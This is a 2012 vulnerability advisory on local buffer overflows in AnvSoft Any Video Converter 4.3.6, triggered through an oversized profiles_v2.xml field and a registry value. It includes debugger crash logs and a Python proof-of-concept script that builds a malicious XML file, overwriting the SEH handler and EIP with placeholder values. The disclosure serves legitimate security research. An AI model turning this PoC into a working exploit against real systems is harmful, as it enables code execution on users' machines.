Title:
======
AnvSoft Any Video Converter 4.3.6 - Multiple Buffer Overflow

Date:
=====
2012-04-08

References:
===========
http://www.vulnerability-lab.com/get_content.php?id=492

VL-ID:
=====
492

Introduction:
=============
An all-in-one user-friendly DVD ripper, Video Record, video converter, YouTube Downloader,
video editor and DVD burner, which helps you rip DVD and record/convert video for multimedia
devices, like iPhone 4, iPad, iPod, Google Android, PSP, Nokia, Samsung Galaxy with lossless quality.

Features
Support conversion on all DVD variations, input formats and output formats, such as AVI, MP4, MPEG,
MOV, WMV, 3GP, MKV, FLV, RMVB, WebM, MP3 etc. More...
Record video and capture desktop activities.
Screencast anything you see on screen.
Support video conversion to iPhone, iPad, iPod, Apple TV, ePad, Samsung Galaxy S II, Amazon Kindle Fire etc.

All other mobile devices: PS3, Blackberry, Xbox 360, Zune, Motorola Droid, etc. More...
Download and convert YouTube and other online videos for portable devices.
Burn videos to CD/DVD/Blu-ray disc with DVD customized menu.
Convert 6 times faster with NVIDIA CUDA acceleration technology. More...
Edit video: add subtitles, merge, clip, crop video and apply special effects.

(Copy of the Vendor Homepage: http://www.any-video-converter.com )

Abstract:
=========
A Vulnerability Laboratory Researcher discovered multiple Local Buffer Overflow vulnerabilities on AnvSoft Any Video
Converter Free / Pro / Ultimate v4.3.6

Report-Timeline:
================
2012-04-08: Public or Non-Public Disclosure

Status:
========
Published

Affected Products:
==================
AnvSoft
Product: Any Video Converter v4.3.6 Free|Pro|Ultimate

Exploitation-Technique:
=======================
Local

Severity:
=========
Critical

Details:
========
Mulitple Buffer Overflow vulnerabilities are detected on AnvSoft Any Video Converter Free / Pro / Ultimate v4.3.6 (current version).
The vulnerabilities are located in the main executeable `AVCUltimate.exe`.

1.
When launching  `AVCUltimate.exe`, it automatically reads the contents of the `profiles_v2.xml` from the application directory.
The application does not validate the string length of different xml-fields before passing the content to a buffer, which could lead
to a local buffer overflow. Nearly every item in the `profiles_v2.xml` is vulnerable. As an example:

<category name=``[vuln]`` id=``0`` icon=``[vuln]`` desc=``[vuln]``/>
<group name=``[vuln]`` icon=``[vuln]`` desc=``[vuln]`` in_category=`` all, [vuln]``/>
<profile name=``[vuln]``>

--- Debug Logs ---
#Disassembly:
7C9132A6   FFD1             CALL ECX
7C9132A8   64:8B25 00000000 MOV ESP,DWORD PTR FS:[0]
7C9132AF   64:8F05 00000000 POP DWORD PTR FS:[0]
7C9132B6   8BE5             MOV ESP,EBP
7C9132B8   5D               POP EBP
7C9132B9   C2 1400          RETN 14
7C9132BC   8B4C24 04        MOV ECX,DWORD PTR SS:[ESP+4]
7C9132C0   F741 04 06000000 TEST DWORD PTR DS:[ECX+4],6
7C9132C7   B8 01000000      MOV EAX,1
7C9132CC   75 12            JNZ SHORT ntdll.7C9132E0
7C9132CE   8B4C24 08        MOV ECX,DWORD PTR SS:[ESP+8]
7C9132D2   8B5424 10        MOV EDX,DWORD PTR SS:[ESP+10]
7C9132D6   8B41 08          MOV EAX,DWORD PTR DS:[ECX+8]
7C9132D9   8902             MOV DWORD PTR DS:[EDX],EAX
7C9132DB   B8 02000000      MOV EAX,2
7C9132E0   C2 1000          RETN 10

#Registers:
EAX 00000000
ECX 42424242
EDX 7C9132BC ntdll.7C9132BC
EBX 00000000
ESP 00125608
EBP 00125628
ESI 00000000
EDI 00000000
EIP 42424242

#Dump:
00125EB4  41 41 41 41 41 41 41 41  AAAAAAAA
00125EBC  41 41 41 41 41 41 41 41  AAAAAAAA
00125EC4  41 41 41 41 41 41 41 41  AAAAAAAA
00125ECC  41 41 41 41 42 42 42 42  AAAABBBB
00125ED4  43 43 43 43 43 43 43 43  CCCCCCCC
00125EDC  43 43 43 43 43 43 43 43  CCCCCCCC
00125EE4  43 43 43 43 43 43 43 43  CCCCCCCC

#Stack:
00125608   7C9132A8  RETURN to ntdll.7C9132A8
0012560C   001256F0
00125610   00125ECC  ASCII AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
00125614   0012570C
00125618   001256C4
0012561C   00125ECC  Pointer to next SEH record
00125620   7C9132BC  SE handler
00125624   00125ECC  ASCII AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
00125628  /001256D8
0012562C  |7C91327A  RETURN to ntdll.7C91327A from ntdll.7C913282
00125630  |001256F0
00125634  |00125ECC  ASCII AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
00125638  |0012570C
0012563C  |001256C4
00125640  |42424242

Picture(s):
                                            ../1.png

2.
During the start of the application the value `OutputFolder` from the registry key
[HKEY_CURRENT_USER/Software/AnvSoft/Any Video Converter Ultimate/Setting/Output] is read.
The application does not validate the string length of the registry value before passing the content to a buffer, which could
lead to a unicode-based local buffer overflow.

Invalid parameter passed to C runtime function.
Invalid parameter passed to C runtime function.

(13f8.1620): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=035f8392 ecx=02ed0000 edx=035f799c esi=02ecf564 edi=02ecf128
eip=7701bcac esp=02ecf070 ebp=02ecf08c iopl=0         nv up ei pl nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010217
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C://Windows/syswow64/msvcrt.dll -
msvcrt!vsnwprintf_l+0xbc:
7701bcac 668901          mov     word ptr [ecx],ax        ds:002b:02ed0000=????

02ecfde0: /AnvSoft/Any Video Converter/VideoConverter.exe -
VideoConverter+10041 (00410041)
Invalid exception stack at 00410041

EXCEPTION_PARAMETER1:  00000001
EXCEPTION_PARAMETER2:  02ed0000
WRITE_ADDRESS:  02ed0000

02ecf6b4 00200066 006f0076 006e006c 0072006f 0x61002d
02ecf6b8 006f0076 006e006c 0072006f 0020006d 0x200066
02ecf6bc 006e006c 0072006f 0020006d 00410041 0x6f0076
02ecf6c0 0072006f 0020006d 00410041 00410041 0x6e006c
02ecf6c4 0020006d 00410041 00410041 00410041 0x72006f
02ecf6c8 00410041 00410041 00410041 00410041 0x20006d
02ecf6cc 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf6d0 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf6d4 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf6d8 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf6dc 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf6e0 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf6e4 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf6e8 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf6ec 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf6f0 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf6f4 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf6f8 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf6fc 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf700 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf704 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf708 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf70c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf710 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf714 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf718 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf71c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf720 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf724 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf728 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf72c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf730 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf734 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf738 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf73c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf740 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf744 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf748 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf74c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf750 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf754 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf758 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf75c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf760 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf764 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf768 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf76c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf770 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf774 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf778 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf77c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf780 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf784 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf788 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf78c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf790 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf794 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf798 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf79c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7a0 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7a4 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7a8 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7ac 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7b0 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7b4 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7b8 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7bc 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7c0 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7c4 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7c8 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7cc 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7d0 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7d4 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7d8 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7dc 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7e0 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7e4 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7e8 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7ec 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7f0 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7f4 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7f8 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf7fc 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf800 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf804 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf808 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf80c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf810 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf814 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf818 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf81c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf820 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf824 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf828 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf82c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf830 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf834 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf838 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf83c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf840 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf844 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf848 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf84c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf850 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf854 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf858 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf85c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf860 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf864 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf868 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf86c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf870 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf874 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf878 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf87c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf880 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf884 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf888 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf88c 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf890 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf894 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf898 00410041 00410041 00410041 00410041 VideoConverter+0x10041
02ecf89c 00410041 00410041 00410041 00410041 VideoConverter+0x

msvcrt!vsnwprintf_l+0xbc:
7701bcac 668901          mov     word ptr [ecx],ax
7701bcaf 830602          add     dword ptr [esi],2
7701bcb2 8b4dfc          mov     ecx,dword ptr [ebp-4]
7701bcb5 5f              pop     edi
7701bcb6 5e              pop     esi
7701bcb7 33cd            xor     ecx,ebp
7701bcb9 5b              pop     ebx
7701bcba e86adbffff      call    msvcrt!memset+0x99 (77019829)

.exr 0xffffffffffffffff
ExceptionAddress: 7701bcac (msvcrt!vsnwprintf_l+0x000000bc)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 02ed0000

Picture(s):
                                            ../2.png
                                            ../3.png

Proof of Concept:
=================
The locla buffer overflow vulnerabilities can be exploited by local attackers or restricted low privileged system accounts.
For demonstration or reproduce ...

#!/usr/bin/python
 
# Exploit Title: AnvSoft Any Video Converter Free/Pro/Ultimate v4.3.6 Local Buffer Overflow
# Version:       4.3.6
# Software Link: http://www.any-video-converter.com
# Notes:         Nearly all items in profiles_v2.xml are vulnerable
# Howto:         Copy profiles_v2.xml to App-Dir --> Launch

file="profiles_v2.xml"

junk1="\x41" * 332
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="<root>\n"
poc=poc + "<categories>\n"
poc=poc + "<category name=\"" + junk1 + boom + junk2 + "\" id=\"0\" icon=\"cat_all.bmp\" desc=\"All Profiles\"/>\n"
poc=poc + "</categories>\n"
poc=poc + "<groups></groups>\n<profiles></profiles>\n</root>\n"

try:
    print "[*] Creating exploit file...\n"
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!"
except:
    print "[!] Error while creating file!"

Risk:
=====
The security risk of both local buffer oveflow vulnerabilities are estimated as critical.

Credits:
========
Vulnerability Research Laboratory Team - Benjamin Kunz Mejri (Rem0ve) [www.vulnerability-lab.com]
Vulnerability Research Laboratory Team - Julien Ahrens (MrTuxracer) [www.inshell.net]

Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

          Copyright � 2012|Vulnerability-Lab

--
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@vulnerability-lab.com